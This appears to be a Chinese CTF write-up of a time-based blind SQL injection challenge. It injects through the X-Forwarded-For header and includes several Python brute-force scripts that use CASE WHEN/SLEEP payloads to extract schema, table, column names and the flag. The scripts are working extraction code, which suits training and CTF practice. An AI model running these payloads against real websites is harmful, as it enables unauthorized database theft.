说真的这是我第一次接触时间盲注,而且这还是简单的时间盲注…不过感觉题目还是有一定难度的。
首先我们看到原始网页显示your ip is :xxx.xxx.xxx.xxx。然后可以联想是http头注入,当然了我之前只会X-FORWARDED-FOR,查看资料貌似还可以用:
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
但是这里当然是还是用X-FORWARDED-FOR了,嗯!
用burp试验一下
然后发现无论怎么搞都是原封不动的返回回来,瞬间蒙蔽…报错注入估计是指望不上了…
而且发现一个有趣的现象,逗号被隔断了
这种情况应该是只需要查找一项就行了吧,猜测是把字符串截断一下人后去查询吧,但是我还是不会…
么办法查一下大牛有没有什么思路吧…
原来是时间盲注!
然后想到了用暴力法去找到他得库名,表明,字段名和内容!具体就死超时判断法,用到了select case when then具体的可以上网查一下,具体实现的方法就是暴力匹配每一个字符,如何匹配了让他sleep一段时间,在get请求的时候设置一个超时去判断是否匹配成功直接看代码吧~
暴力求数据库名
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
for database_number in range(0,100): #假设爆破前100个库
databasename=''
for i in range(1,100): #爆破字符串长度,假设不超过100长度
flag=0
for str in guess: #爆破该位置的字符
#print 'trying ',str
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
databasename+=str
flag=1
print '正在扫描第%d个数据库名,the databasename now is '%(database_number+1) ,databasename
break
if flag==0:
break
database.append(databasename)
if i==1 and flag==0:
print '扫描完成'
break
for i in range(len(database)):
print database[i]
这里用到了information_schema中schemata这表,嗯
暴力求表名
这里面需要提前知道,有information_sechma和web4,第一个在我的电脑上是有59列,但是也不知道他有几个…所以写个小脚本跑一下
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
for table_number in range(0,500):
print 'trying',table_number
headers = {"X-forwarded-for":"'+"+" (select case when (select count(table_name) from information_schema.TABLES ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
print table_number
break
可以得到有42个列…有点多啊…不过呢我们一般猜测都在最后把,前面的应该都是什么information_schema里的那个。尝试一下:
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
tables=[]
for table_number in range(41,42): #假设从第60个开始
tablename=''
for i in range(1,100): #爆破字符串长度,假设不超过100长度
flag=0
for str in guess: #爆破该位置的字符
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select table_name from information_schema.TABLES limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(table_number,i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
tablename+=str
flag=1
print '正在扫描第%d个数据库名,the tablename now is '%(table_number+1) ,tablename
break
if flag==0:
break
tables.append(tablename)
if i==1 and flag==0:
print '扫描完成'
break
for i in range(len(tables)):
print tables[i]
我说什么来着,就是他了。
暴力求列名
其实直接猜是不是flag啊…不过还是可以暴力,因为是上面列的最后一个嘛,所以关键字段肯定也是最后一个吧,老思路,看有几个列,然后暴力最后一个
看有几个列
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
for table_number in range(0,1000):
print 'trying',table_number
headers = {"X-forwarded-for":"'+"+" (select case when (select count(COLUMN_name) from information_schema.COLUMNS ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
print table_number
break
有483列
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
columns=[]
for column_number in range(482,483): #假设从第60个开始
cloumnname=''
for i in range(1,100): #爆破字符串长度,假设不超过100长度
flag=0
for str in guess: #爆破该位置的字符
#print 'trying',str
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select COLUMN_name from information_schema.COLUMNS limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(column_number,i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
cloumnname+=str
flag=1
print '正在扫描第%d个列名,the cloumnname now is '%(column_number+1) ,cloumnname
break
if flag==0:
break
columns.append(cloumnname)
if i==1 and flag==0:
print '扫描完成'
break
for i in range(len(columns)):
print columns[i]
然后暴力就行了!
#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,100):
havetry=0
for str in guess:
headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=6)
except requests.exceptions.ReadTimeout, e:
havetry=1
flag = flag + str
print "flag:", flag
break
if havetry==0:
break
print 'result:' + flag
真是好题~